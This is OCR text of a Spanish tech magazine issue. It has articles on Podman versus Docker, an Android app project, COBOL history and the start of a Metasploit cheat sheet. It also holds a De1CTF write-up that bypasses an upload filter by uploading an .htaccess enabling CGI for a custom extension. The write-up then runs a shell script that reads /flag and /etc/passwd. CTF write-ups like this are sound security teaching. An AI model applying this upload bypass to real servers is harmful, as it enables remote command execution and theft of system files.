software. A diferencia de las mdguinas virtuales, los contenedores utilizan el
sistema operativo (sa) de su hast en lugar de proporcionar el suyo propio.

Esto con la salvedad de que un contenedor se sabe capaz de albergar un sistema operativo
independiente y funcional, de ser requerido por el usuario, y también teniendo en cuenta que la
arquitectura de un contenedor, a diferencia de la arquitectura de una maquina virtual esta disefiado
para “virtualizar”el software basico de la plataforma ademas de, posiblemente, el hardware.

e Hewlett Packard Enterprise, Definiciones principales. ;Qué son los contenedores? (2020), www.hpe.com/lamerica/es/what-is/containers.html, Consultado:

25/05/2020.
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Application Application Application

Binary data Binary data Binary data
libraries librarias libraries

Applicati Applicati Apol

Guest Guest Guest Binary data Binary data Binary data
system - system - system libraries — libraries ~  libraries

Host system Host system

Infrastructure Infrastructure

Virtual machines (VMs) Docker container M

Por otro lado, RedHat es quien se ha encargado de desarrollar la tecnologia que trajo Podman a la vida, siendo este un
motor de contenedores. Esta herramienta no depende de un servicio (daemon) para realizar sus procesos, lo que

basicamente lo diferencia de su principal competidor, Docker.

Con esta nueva inclusion de Podman, RedHat ha descentralizado todos los componentes necesarios para la gestion de
contenedores, individualizandolos en componentes mas pequefios para ser utilizados mas 6ptimamente cada vez que
alguno de manera individual sea necesario.

CEXISTE UN PUNTO DE COMPARACION ENTRE DOCKER ¥ PODMAN?

Entre los puntos comparativos que se pueden mencionar entre Docker y Podman, uno importante es que Podman tiene
la posibilidad de ser 100% “rootless”. Podman posee una arquitectura modular, lo que conlleva a que no sea necesario
ejecutar los contenedores como root.

A nivel de seguridad, por ejemplo, Podman resume una gran ventaja sobre Docker, si se quiere, debido a que con
Podman se pueden ejecutar los contenedores bajo distintos usuarios con, a su vez, distintos privilegios, y el riesgo
disminuye ante la posibilidad de que alguien acceda al demonio de Docker, ejecutandolos y causando alguna
modificacién maliciosa.

Como venimos viendo, y a diferencia de Docker, Podman optimiza la capacidad de manejar los procesos de manera
individual. Podman, bajo su ejecucion “non-root”, crea un directorio para almacenar toda la informacién de las imagenes
y contenedores que el usuario tenga almacenadas alli. En ese sentido, al manejar un podman images, solo se mostraran
las imagenes creadas o descargadas alli.

CON LO NOVEDOSO DEL TEMA, HAY ALGUN PUNTO CONCLUYENTE?

Si bien es cierto, y como muestra de ello esta todo el argumento existente sobre este tema en las distintas plataformas
informaticas, no existe una conclusion contundente de si Podman es o no un reemplazo de Docker.

Los usuarios ven el desarrollo de Docker sobre Podman, por ser este Ultimo mas nuevo y menos explorado. Docker
tiene ciertas ventajas sobre Podman; quizas en cuanto a la distribucién y aceptacion que tiene en el campo informatico,
asi como el conocido uso de sus herramientas Docker swarm, docker-compose, etc.

Por otro lado, es evidente que RedHat esta apostando mucho sobre el desarrollo de Podman en el mundo de los
contenedores, con la adquisicion de CoreOS en el manejo de la plataforma OpenShift, para concluir en el desarrollo de
Podman, siendo, por defecto, el motor de contenedores en RedHat 8 y CentOS 8.

Podman ofrece una alternativa que maneja mejor las herramientas del usuario, tanto de hardware como de software,
optimizando la seguridad y los recursos de los servicios, pero ademas resumiendo también las ventajas con las que

cuenta Docker.
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desarrollar nuestra aplicacion.
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consumo de Aapi

Una vez tenemos la API desarrollada, sea de terceros o nuestra, debemos consumirla a través de nuestra aplicacion.
También pueden hacerlo mediante una libreria llamada Retrofit:

CcConNTINUAMOS CON EL DESARROLLO

Ahora que podemos consumir la informacion de los bares, debemos representarla en una lista con CardViews.
Para ello podemos usar RecyclerView.

Luego de entender como funcionan estos componentes, notamos que al hacer click en algun bar, podemos
acceder al detalle. Vamos a llenar la informacién de esa pantalla con lo que recibimos en la API. Esto no es nada
nuevo.

La parte nueva quiza sea el mapa. Necesitamos mostrar uno indicando donde queda el bar. Para ello podemos
investigar sobre la APl de Google Maps. Quiza al inicio parezca muy complejo, pero yo tuve la experiencia de
implementarla y es bastante sencillo una vez comprendemos los componentes implicados.

Luego debemos considerar la idea de que nuestro bar tenga fotos para mostrar.

Lo podemos resolver con un ViewPager para crear una galeria. En el medio también aprenderemos a manejar
Fragments, un componente de Android que naci6 con el surgimiento de las tabletas, si mal recuerdo en la versién
4,

Finalmente, nuestra pantalla de favoritos se podria manejar de dos maneras distintas:
e SharedPreferences: Guardamos la informacion de los bares favoritos localmente.
e API: Guardamos la informacién en la APl asociado a un id de usuario. Luego la recuperamos mediante
algin método GET.

La primera forma puede ser compleja, dado que debemos guardar objetos, y SharedPreferences no lo soporta.
Como alternativa, podemos usar la libreria Gson que ya habiamos importado con Retrofit. Nuestro algoritmo seria:

e Recibimos objeto lista bares.

e Convertimos objeto en json string mediante Gson.

e Guardamos json string en SharedPreferences.

e Pedimos objeto json string.

e Convertimos json string a objeto lista bares mediante Gson.

e Recorremos la lista bares con nuestro Adapter del RecyclerView.
Y ya tenemos nuestra aplicacion funcional. En el proceso aprendimos muchas cosas y logramos llegar a un
producto funcional.

conclusiones

Siimaginamos por un momento el hecho de tener que estudiar todos estos conceptos sin un producto detras, se
puede volver muy tedioso. Sin embargo, si aprendemos sobre la marcha, podemos lograr adquirir lo que llamo
“conocimiento inconsciente”. Aprendemos sin darnos cuenta, porque estamos poniéndolo a prueba y
experimentando en un caso real. Hay una motivacion y un producto. Dificil detenernos, ;no?

Y a todo esto deberiamos sumarle ciertas habilidades adquiridas con la gestion de un proyecto. Aprendimos
mucho mas que siguiendo un par de tutoriales. Claro que una cosa no quita a la otra. Los cursos y tutoriales son
tan necesarios como emprender proyectos propios. Lo que quiero decir es que no hagas una cosa sin la otra.
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Este reto Web se resolvié durante el De1CTF de De1lta Club. La descripcién del reto daba una URL y daba como pista
que el servidor se reiniciaba cada 5 min.

check in

welcome to 2020De1ctf
http://129.204.21.115

4 RSB BSHFHEE—IR The server will reset every 5 mins

Accediendo a la pagina del reto, se observaba una aplicaciéon simple para subir un archivo. El c6digo fuente no mostraba

alguna cosa fuera de lo ordinario.
€ © 129.204.21.115 ¢ | wBe ¥ @

A Offensive Security  KaliLinux  KaliDocs  KaliTools ™ Exploit-DB ™“Aircrack-ng %' Kali Forums Censys Help: Qu

UPLOADS

Browse...

Codigo:
1. <!DOCTYPE html>
2. <html lang="en">
3. <head>
4. <meta charset="UTF-8">
5. <title>Cheek in</title>
6. <meta name="viewport" content="width=device-width, initial-scale=1">
7. <link rel="stylesheet" type="text/css" href="style/css/stylel.css">
8. <link rel="stylesheet" type="text/css" href="style/css/style2.css">
9. </head>
10. <body>
11. <div class="wrap">
12. <div class="container">
13. <hl style="color: white; margin: 0; text-align: center">UPLOADS</hl>
14. <form action="index.php" method="post" enctype="multipart/form-data">
15. <input class="wd" type="file" name="fileUpload" id="file"><br>
16. <input class="wd" type="submit" name="upload" value="submit">
17. <p class="change link" style="text-align: center">
18. <strong>upload your file</strong>
19. </br>
20. <strong></strong>
21. </br>
22. <strong></strong>
23. </p>
24. </form>
25. </div>
26.</div>
27. </body>
28. </html>



http://december.com/html/4/element/h1.html
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El siguiente paso fue probar la funcionalidad: subir archivos e interceptar las peticiones para analizar el
comportamiento. Se comenzo6 con un archivo .txt, al cual se le asign6 por default Content-Type: text/plain. Al enviar la
peticion se recibié el error filetype error.

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/%;q=0.8 A <meta name="viewport" content="width=device-width, initial-scale=1">
Accept-Language: en-US,en;g=0.5 <link rel="stylesheet" type="text/css" href="style/css/stylel.css">
Accept-Encoding: gzip, deflate <link rel="stylesheet" type="text/css" href="style/css/style2.css">
Referer: http://129.204.21.115/ </head>
x-forwarded-for: localhost <body>
Connection: close <div class="wrap">
Upgrade-Insecure-Requests: 1 <div class="container">
Content-Type: multipart/form-data; <hl style="color: white; margin: 0; text-align: center">UPLOADS</hl>
boundary=-------------c--mcmoaono 135893438514365845381571367591 <form action="index.php" method="post" enctype="multipart/form-data">
Content-Length: 359 <input class="wd" type="file" name="fileUpload" id="file"><br>
<input class="wd" type="submit" name="upload" value="submit">
----------------------------- 135893438514365845381571367591 <p class="change_link" style="text-align: center">
Content-Disposition: form-data:; name="fileUpload”; filename="test.txt" <strong>filetype error</strong>
Content-Type: text/plain </br>
<strong></strong>
this is a test </br=
<strong></strong>
----------------------------- 135893438514365845381571367591 </p>
Content-Disposition: form-data; name="upload" </form>
</div>

submit </div>
----------------------------- 135893438514365845381571367591 - - f </body>

</html>

Fue un poco extrafio que no aceptara un archivo simple como un .txt, pero como siguiente paso se intenté cambiarle el
tipo de archivo (Content-Type) a image/gif. Se observé que la aplicacion ahora si aceptaba el archivo y lo subia en la
carpeta /uploads/<md5>/test.txt

Request Response

Raw | Params | Headers | Hex Raw | Headers HexTHTMLTRender]

'0ST /index.php HTTP/1.1 A <link rel="stylesheet" type="text/css" href="style/css/style2.css">
lost: 129.204.21.115 N </head>
Iser-Agent: Mozilla/5.0 (X11; Linux 1686; rv:52.0) Gecko/20100101 Firefox/52.0 <body>
wccept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 <div class="wrap">
wccept-Language: en-US,en;g=0.5 <div class="container">
«ccept-Encoding: gzip, deflate <hl style="color: white; margin: 0; text-align: center">UPLOADS</hl>
leferer: http://129.204.21.115/ <form action="index.php" method="post" enctype="multipart/form-data">
;-forwarded-for: localhost <input class="wd" type="file" name="fileUpload" id="file"><br>
onnection: close <input class="wd" type="submit" name="upload" value="submit">
Ipgrade-Insecure-Requests: 1 <p class="change_link" style="text-align: center">
ontent-Type: multipart/form-data; <strong></strong>
oundary=-------ccccocmoacaonaaaan. 135893438514365845381571367591 </br>
ontent-Length: 358 <strong=Your files :test.txt<br></strong=>
</br>
---------------------------- 135893438514365845381571367591 <strong=Your dir : uploads/b5dfe252a5878be89080123e7d4c874e
ontent-Disposition: form-data; name="fileUpload"; filename="test.txt" <br=</strong>
‘ontent-Type: image/gif </p>
</form>
his is a test </div>
</div>
---------------------------- 135893438514365845381571367591 </body>
ontent-Disposition: form-data; name="upload" </html>
ubmit ¥

Haciendo una peticion a la URL del archivo que se subié al servidor muestra el contenido de éste de
manera simple:

&« 129.204.21.115

] Offensive Security ~ Kali Linux  KaliDocs  Kali Tools * Exploit-DB Y Aircr

this is a test

Al ser esta una aplicacion de PHP, también se intent6 engafiar a la aplicacion y cambiar la extension del
archivo a .php para intentar ejecutar cédigo con PHP, sin embargo, al establecer el nombre de archivo
a test.php.gif, aparecio el error: filename error y que no permitiera que se subiera el archivo.




Request

Raw | Params | Headers | Hex

UnderDOCS - Junio 2020, NUmero 11

Response

Raw | Headers | Hex | HTML | Render

POST /index.php HTTP/1.1

Host: 129.204.21.115

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://129.204.21.115/

x-forwarded-for: localhost

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;

boundary=
Content-Length: 362

=

135893438514365845381571367591

----------------------------- 135893438514365845381571367591
Content-Disposition: form-data; name="fileUpload"; filename="test.php.gif"

Content-Type: image/gif

this is a test

135893438514365845381571367591
Content-Disposition: form-data; name="upload"

submit

<title>Cheek in</title>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" type="text/css" href="style/css/stylel.css">
<link rel="stylesheet" type="text/css" href="style/css/style2.css">
</head>
<body>
<div class="wrap">
<div class="container">
<hl style="color: white
<form action="index.php"
o “file" name="fileUpload" id="file"><br>
"submit" name="upload" value="submit">

margin: 0; text-align: center">UPLOADS</hl>
method="post" enctype="multipart/form-data">

<input class="wd" type=
<p class="change_link" style="text-align: center">
<strong>filename error</strong>

</br>
<strong></strong>
</br>
<strong></strong>
</p>
</form>
</div>

</div>

</body>

</html>

Como siguiente paso, se configurd un intruder en Burpsuite y se probaron todas las extensiones de archivo
de este recurso, pero siempre aparecié el mismo filename error, lo que nos hizo pensar que cualquier

extensién de archivo que contuviera las palabras ph iba

a ser bloqueada.

Después de las pruebas anteriores, se considerd que si quiza se lograba inyectar cédigo PHP dentro del

archivo, entonces se podria encontrar otra manera d

e ejecutar el codigo aunque el archivo no tuviera

extensién .php o .phtml, etc, pero desafortunadamente nos encontramos que ph también estaba filtrado,

junto con otros comandos como perl, curl, base, etcy el

Request

Raw | Params | Headers | Hex

caracter >.

Response

Raw | Headers | Hex HTMLTRender]

POST /index.php HTTP/1.1

Host: 129.204.21.115

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;9=0.8
Accept-Language: en-US,en;qg=0.5

Accept-Encoding: gzip, deflate

Referer: http://129.204.21.115/

x-forwarded-for: localhost

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: multipart/form-data;

boundary=
Content-Length: 362

I»

135893438514365845381571367591

----------------------------- 135893438514365845381571367591
Content-Disposition: form-data; name="fileUpload"; filename="test.gif"

Content-Type: image/gif

<?php phpinfo();?>

135893438514365845381571367591
Content-Disposition: form-data; name="upload"

submit

</head>

<body>

<div class="wrap">

<div class="container">

<hl style="color: white; margin: 0; text-align: center">UPLOADS</hl>
<form action="index.php" method="post" enctype="multipart/form-data">

"file" name="fileUpload" id="file"><br>

* type="submit" name="upload" value="submit">

<p class="change_link" style="text-align: center">

<strong>perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in
contents!</strong>

</br>
<strong></strong>
</br>
<strong></strong>
</p>
</form>
</div>

</div>

</body>

</html>

A partir de este punto se complicaron un poco las cosas, aparentemente no se podia agregar cédigo php al
archivo que se subia, tampoco se podia agregarle una extension .php al archivo para que el servidor lo

ejecutara como cédigo.

Realizamos un rapido ataque de fuerza bruta al servidor web para ver si podiamos encontrar archivos o
directorios ocultos. Lo Unico interesante que se encontro fue un directorio /cgi-bin (con error 403) y el archivo
.htaccess que tampoco daba acceso y mostraba error 403.


https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files/Extension%20PHP
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root@kali:~/delctf# python3 /root/resources/dirsearch/dirsearch.py -u http://129.204.21.115 -e php.swp,php.bak

v0.3.9

Extensions: php.swp, php.bak | HTTP method: get | Threads: 10 | Wordlist size: 6497
Error Log: /root/resources/dirsearch/logs/errors-20-05-03 00-41-29.log

Target: http://129.204.21.115

[00:41:30] Starting:
[00:41:40] 403 213B
[00:41:40] 403 206B
[00:41:41] 403 217B
[00:41:41] 403 215B
[00:41:41] 403 217B
[00:41:41] 403 216B
[00:41:41] 403 216B
[00:41:41] 403 218B
[00:41:41] 403 215B
[00:41:41] 403 216B
[00:41:41] 403 2158
[00:41:41] 403 216B
[00:41:41] 403 214B
[00:41:41] 403 214B
[00:41:41] 403 214B
[00:41:41] 403 215B
[00:41:41] 403 212B
[00:41:41] 403 210B
[00:41:41] 403 2158
[00:41:41] 403 2158
[00:41:41] 403 216B
[00:41:41] 403 212B
[00:41:41] 403 210B .htusers

[00:41:42] 403 217B .htaccess extra

[00:42:59] 403 210B /cgi-bin/

[00:43:42] 200 962B /index.php

[00:43:43] 200 962B /index.php/login/

[00:44:51] 301 236B /style -> http://129.204.21.115/style/
[00:45:05] 301 238B /uploads -> http://129.204.21.115/uploads/
[00:45:05] 403 210B /uploads/

.ht wsr.txt
.hta
.htaccess-local
.htaccess-dev
.htaccess-marco
.htaccess.bakl
.htaccess.orig
.htaccess.sample
.htaccess.old
.htaccess.save
.htaccess.txt
.htaccess_orig
.htaccessBAK
.htaccessOLD
.htaccess_sc
.htaccessOLD2
.htaccess~
.htgroup
.htpasswd-old
.htaccess.BAK
.htpasswd test
.htpasswds

e e S S T N N

Lo anterior nos llevd a pensar lo siguiente: si existen reglas de archivo .htaccess en el servidor y podemos subir uno
modificado, entonces quiza podemos re-escribir las reglas de ejecucion de ciertos tipos de archivo.
Para validar si podiamos reemplazar las reglas de .htaccess se envi6 este contenido :

SetHandler server-status
SetHandler server-info

qu mn
| Raw | Params I Headers l Hex ‘ Raw | Headers [ Hex I HTML l Render |
Accept-Language: en-US,en;g=0.5 A <link rel="styl t" type="text/css" href="style/

Accept-Encoding: gzip, deflate </
Referer: http://129.204.21.115/index.php/login/ <b
x-forwarded-for: localhost

Connection: close

Upgrade-Insecure-Requests: 1 ; margin: 0; text-align: center">UPLOADS</hl>

Content-Type: multipart/form-data; " method= " enctype="mul orm-da
boundary=-----------------oooooooo- 2123513974539431969903402973 <input ty| “file" e e d" id <br>
Content-Length: 386 <inpu 1as s 1 value="submit">

2123513974539431969903402973
form-data; name="fileUpload"; filename=".htaccess"

</br>

:.htaccess<br></strong>
: uploads/b5dfe252a5878be89080123e7d4c874e

= i 2123513974539431969903402973
Content-Disposition: form-data; name="upload"

S eeemeeeeeeaeoao-.------2123513974539431969903402973- - </body>

Se subi6 el archivo con normalidad, y se hizo request a /uploads/<md5>/..htaccess para verificar si se estaban
activando las reglas de .htaccess. Al hacer esto pudimos observar la pagina de informacion de Apache, la cual nos
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mostré como “loaded” el médulo cgi.

€ ® 129.204.21.115
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Apache Server Information

Subpages:
Configuration Files, Server Settings, Module List, Active Hooks, Available Providers

Sections:
Loaded Modules, Server Settings, Startup Hooks, Request Hooks, Other Hooks, Providers

Loaded Modules

core.c, http core.c, mod_access_compat.c, mod_actions.c, mod alias.c, mod_allowmethods.c, mod auth basic.c, mod_auth digest.c, mod_authn_anon.c, mod_authn_core.c
mod_authn_dbd.c, mod_authn_dbm.c, mod_authn_file.c, mod_authn_socache.c, mod_authz_core.c, mod authz_dbd.c, mod_authz_dbm.c, mod_authz_groupfile.c, mod_authz_host.c
mod_authz_owner.c, mod_authz_user.c, mod_autoindex.c, mod_cache.c, mod_cache disk.c, g mod_data.c, mod _dav.c, mod_dav_fs.c, mod_dav_lock.c, mod_dbd.c
mod_deflate.c, mod dir.c, mod_dumpio.c, mod echo.c, mod env.c, mod expires.c, mod ext filter.c, mod filter.c, mod headers.c, mod include.c, mod info.c
mod_1lbmethod_bybusyness.c, mod_lbmethod_byrequests.c, mod_lbmethod_bytraffic.c, mod_lbmethod_heartbeat.c, mod_log_config.c, mod_logio.c, mod_lua.c, mod_mime.c
mod_mime_magic.c, mod_negotiation.c, mod_php5.c, mod_proxy.c, mod_proxy ajp.c, mod_proxy balancer.c, mod_proxy_ connect.c, mod_proxy express.c, mod_proxy fcgi.c
mod_proxy fdpass.c, mod_proxy ftp.c, mod proxy http.c, mod proxy scgi.c, mod proxy wstunnel.c, mod_remoteip.c, mod_reqtimeout.c, mod rewrite.c, mod_setenvif.c
mod_slotmem plain.c, mod_slotmem shm.c, mod_so.c, mod_socache dbm.c, mod_socache memcache.c, mod_socache_shmcb.c, mod_status.c, mod_substitute.c, mod_suexec.c,
mod_systemd.c, mod_unique_id.c, mod_unixd.c, mod_userdir.c, mod_version.c, mod_vhost_alias.c, prefork.c

Un ataque muy conocido con el que se puede hacer bypass a una restriccién en una extension de archivo es reemplazar
las reglas de .htaccess en la que se declara que una cierta extension de archivo (que no sea filtrada) pueda ser capaz de
ejecutar cédigo PHP, por ejemplo, si se agrega la siguiente linea en un archivo .htaccess se podria ejecutar cédigo PHP
si podemos subir un archivo con una extensién  personalizada (por ejemplo  .mayas):

AddType application/x-httpd-php .mayas

Sin embargo, como se descubrié anteriormente, cualquier palabra con los caracteres php estaba filtrado en este reto.
Por eso, y con base alo que se habia descubierto hasta este punto, se investigé la posibilidad de utilizar CGl para ejecutar
comandos del sistema.

Un nuevo archivo .htaccess se subi6é con el siguiente contenido, con el cual le dijimos al servidor que archivos con
extensién .mayas los ejecutara como scripts CGl.

1. POST /index.php HTTP/1.1

2. Host: 129.204.21.115

3. User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:52.0) Gecko/20100101 Firefox/52.0

4. Accept: text/html,application/xhtml+xml, application/xml;g=0.9,*/*,;9g=0.8

5. Accept-Language: en-US,en;q=0.5

6. Accept-Encoding: gzip, deflate

7. Referer: http://129.204.21.115/index.php/login/

8. x-forwarded-for: localhost

9. Connection: close

10. Upgrade-Insecure-Requests: 1

11. Content-Type: multipart/form-data,; boundary=--—-——-——————————————————————
2123513974539431969903402973

12. Content-Length: 384

13.

14, - 2123513974539431969903402973

15. Content-Disposition: form-data,; name="fileUpload",; filename=".htaccess"

16. Content-Type: image/gif

17.

18. Options +ExecCGI

19. AddHandler cgi-script .mayas

20— 2123513974539431969903402973

21. Content-Disposition: form-data,; name="upload"

22.

23. submit

24, - 2123513974539431969903402973~~
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Respuesta recibida en BurpSuite:

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex HTMLTRender]
POST /index.php HTTP/1.1 A <title>Cheek in</title>
Host: 129.204.21.115 '\ <meta name="viewport" content="width=device-width, initial-scale=1">
User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:52.0) Gecko/20100101 Firefox/52.0 <link rel="stylesheet" type="text/css" href="style/css/stylel.css">
[Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8 <link rel="stylesheet" type="text/css" href="style/css/style2.css">
[Accept-Language: en-US,en;g=0.5 </head>
Accept-Encoding: gzip, deflate <body>
Referer: http://129.204.21.115/index.php/login/ <div class="wrap">
x-forwarded-for: localhost <div class="container">
Connection: close <hl style="color: white; margin: 0; text-align: center">UPLOADS</hl>
Upgrade-Insecure-Requests: 1 <form action="index.php" method="post" enctype="multipart/form-data">
Content-Type: multipart/form-data; <input class="wd" type="file" name="fileUpload" id="file"><br>
boundary=--------cccciiiii 2123513974539431969903402973 <input class="wd" type="submit" name="upload" value="submit">
Content-Length: 384 <p class="change_link" style="text-align: center">
<strong></strong>
----------------------------- 2123513974539431969903402973 </br>
Content-Disposition: form-data; name="fileUpload"; filename=".htaccess" <strong>Your files :.htaccess<br=</strong>
Content-Type: image/gif </br>
<strong>Your dir : uploads/b5dfe252a5878be89080123e7d4c874e
Options +ExecCGI <br></strong>
[AddHandler cgi-script .mayas </p>
----------------------------- 2123513974539431969903402973 </form>
Content-Disposition: form-data; name="upload" </div>
</div>
ubmit v Ihodw

Una vez que se establecid la regla anterior, se subi6 un archivo .mayas con el siguiente contenido de un script bash para
poder ejecutar comandos.

Codigo: PHP

POST /index.php HTTP/1.1

Host: 129.204.21.115

User-Agent: Mozilla/5.0 (X11; Linux 1686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/*,:g=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://129.204.21.115/index.php

x—-forwarded-for: localhost

Connection: close

Upgrade-Insecure—-Requests: 1

P P O 0 J o U P W N
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Content-Type: multipart/form-data; boundary=——-—-———————=—————————————————
14819820161664586594932723

12. Content-Length: 441

13.

14, @ e 14819820161664586594932723

15. Content-Disposition: form-data, name="fileUpload",; filename="final.mayas"

16. Content-Type: image/gif

17.

18. #!/bin/sh

19.

20. echo&&echo [ID];id;echo ;echo [FLAG],;strings /flag;echo ;echo [BY MAYAS];echo
;cat /etc/passwd;

21.

22, e - 14819820161664586594932723

23. Content-Disposition: form-data,; name="upload"

24.

25. submit

26. e 14819820161664586594932723 -~
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Se realiz6 una peticion al archivo .mayas con la siguiente path: /uploads/<md5>/final.mayas y se pudo leer la flag.

€ 9 O 129.204.21.115
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[1ID]
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)

[FLAG]
Delctf{cGl cGl cgl 857 857 cgll1111111111}

[BY MAYAS]

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:1p:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbhin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games: /usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
apache:x:48:48:Apache: fusr/share/httpd:/sbin/nologin
ctf:x:1000:1000::/home/ctf:/bin/bash

Flag: Delctf{cG1_cG1_cg1_857_857_cgll111l111lI}

rRecuUrsos:

http://ggb0n.cool/2020/03/06/CTFHub-bypass-functions-disable/
https://web.archive.org/web/20160817051214/http://0cx.cc/bypass_disabled_via_mod_cgi.jspx
https://github.com/I3m0n/Bypass_Disable_functions_Shell/blob/master/paper/readme.old.md
https://www.anquanke.com/post/id/195686#h3-5




COBOL NO MUERE

Common Business-oriented Language (COBOL) el primer lenguaje de
programacion utilizado en infinidad de sistemas informaticos, implementado
por primera vez en un ordenador a cargo de Grace Hopper pionera y
recordada como una de las creadoras de este lenguaje, creadora del primer
ordenador programable y participante en programacion de UNIVAC,
colaboradora en el desarrollo de FLOW-MATIC, compilador de lenguajes de
programacion, tecnologia entendible por ordenadores.

Escrito por: @DENISSE | CO-ADMIN UNDERCODE

Informatica de profesion, adicta al mundo de la tecnologia, involucrada en el
gremio educativo con énfasis informatico, participante en el desarrollo de un
proyecto educativo que fomenta la lectura en niflos. Moderadora de los
subforos Debates y Disefio Grafico, partidaria de redactar temas que causen
distintas opiniones y que sean de interés de la comunidad, gusta del Disefio,
aunque no por profesién, pero si por aficion, y ferviente colaboradora en el foro

Underc0de, participando por pasién a la comunidad.
Contacto:
underc0de.org/foro/profile/Denisse

ompilador y base del Comercial Traslator de IBM, son el nucleo de
COBOL, creado a través de su compilador, con miles de
fragmentos codificados por distintos colaboradores en todo el
mundo, siendo un parteaguas en la era de las computadoras
programables y dando como resultado la tecnologia de hoy en dia.
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FLOW-MATIC

(0)

(1) COHPARE PRODUCT-NO (A) WITH PRODUCT-NO (B) ; IF GREATER GO TO OPERATION 10 ;

(2)
(3)
(4)
(5)
(6)
)
(8)
9)
(10)
(11)
(12)
(13)
(14)

(15)
(16)
“7)

INPUT INVENTORY FILE-A PRICE FILE-B ; OUTPUT PRICED-INV FILE-C UNPRICED-INV
FILE-D ; HSP D .

IF EQUAL GO TO OPERATION 5 ; OTHERWISE GO TO OPERATION 2 .
TRANSFER A TO D .

WRITE-ITEM D

JUNP TO OPERATION 8 .

TRANSFER A TO C .

HOVE UNIT-PRICE (B) TO UNIT-PRICE (C) .

WRITE-ITEM C .

READ-ITEH A ; IF END OF DATA GO TO OPERATION 14 .

JUMP TO OPERATION 1 .

READ-ITEM B ; IF END OF DATA GO TO OPERATION 12 .

JUHP TO OPERATION 1 .

SET OPERATION 9 TO GO TO OPERATION 2 .

JUHP TO OPERATION 2 .

TEST PRODUCT-NO (B) AGAINST 222222272227 ; IF EQUAL GO TO OPERATION 16 ;
OTHERWISE GO TO OPERATION 15 .

REWIND B .

CLOSE-OUT FILES C ; D .

STOP . (END)

Desarrollando asi COBOL, utilizado por todo el mundo, de ahi surgieron programas desarrollados
de él, con sintaxis sencillas y comandos originados del inglés.

Y
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Derivandose nuevas versiones y actualizaciones de COBOL que se ajustaban a las necesidades y tecnologia
de la época, como COBOL-74, COBOL-85 y una versién orientada objetos denominada COBOL-2002.
Especialistas afirman que cerca de 200.000 millones de lineas de cédigo corrian en lenguaje COBOL en 1997,

lo que representaba el 80% de los programas empresariales del mundo, desarrollados en COBOL.

En épocas de pandemia, COBOL demuestra que es indispensable, siendo uno de los lenguajes de
programacion mas demandados, especialmente debido a que en Departamentos de Seguridad
Nacional o de Seguridad Social aun siguen implementando COBOL.

Por su parte, la COBOLCOWBOYS, sefiala que el 85% del software de negocios y programas sociales siguen
implementando COBOL. Manifestando que una tecnologia no morird definitivamente, siendo una opcién
para optimizar/actualizar los sistemas.
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CHEAT-SHEET: METASPLOIT FW

Metasploit Framework, una de las herramientas muy utilizada por los auditores de seguridad.
Incluye una gran coleccign de exploits, a parte de un entorno de desarollo para propios exploits, muy utilizada debido a su facil
implementacion con otras herramientas coma nmap, escaners de vulneravilidades, etc. Metasploit Framework es una infraestructura que
puede ser personalizada y utilizada para necesidades especificas.

DEFINICIONES BASICAS

EXPLOIT: Cédigo escrito con la intencién de aprovechar errores de programacion y
conseguir ciertos privilegios en sistemas o software vulnerado. Con el uso de los

exploits se busca tomar control de la maquina victima.

PAYLOAD: Carga de un exploit, realiza la parte maliciosa de la intrusién, es decir, es el
cédigo remoto que se ejecutara en la maquina vulnerada, creando una secuencia de

actividades maliciosas.

0-DAY EXPLOIT: Codigo malicioso que permite al atacante tener control total sobre
un sistema vulnerable, el problema o ventaja de estos exploits es que no son
conocidos por los usuarios o por los fabricantes, es decir que quedan completamente
expuestos a el ataque. Existe un tiempo de correccion desde que se descubre hasta

que se soluciona.

METASPLOIT: Conjunto de herramientas con las que un pentester puede desarrollar
o ejecutar exploits y lanzarlos contra maquinas para comprobar la seguridad.
MODULOS: Funcionalidades que hacen que sean mas sencillas de utilizar. Como un

exploit o un escaneo. Existen diferentes tipos de médulos:

1. Auxiliary: Proporciona herramientas externas como escaners o sniffers.

2. Exploits: Este es el mas conocido, se encuentran todos los exploits.

3. Payloads: Almacena distintos cédigos maliciosos a implementar con exploits.
MSFVENOM: Combinacién de msfpayload y msfencode, herramienta que facilita la

tarea de generar una shell y ocultarla desde una misma consola.

COMANDOS DE MSFCONSOLE:

back: Salir del contexto actual en ejecucién (exploit o module).
check: Ver si un objetivo es vulnerable al exploit. No todos los exploits lo

soportan.

connect: Conecta a un host remoto y envia ficheros si se desea, soporta

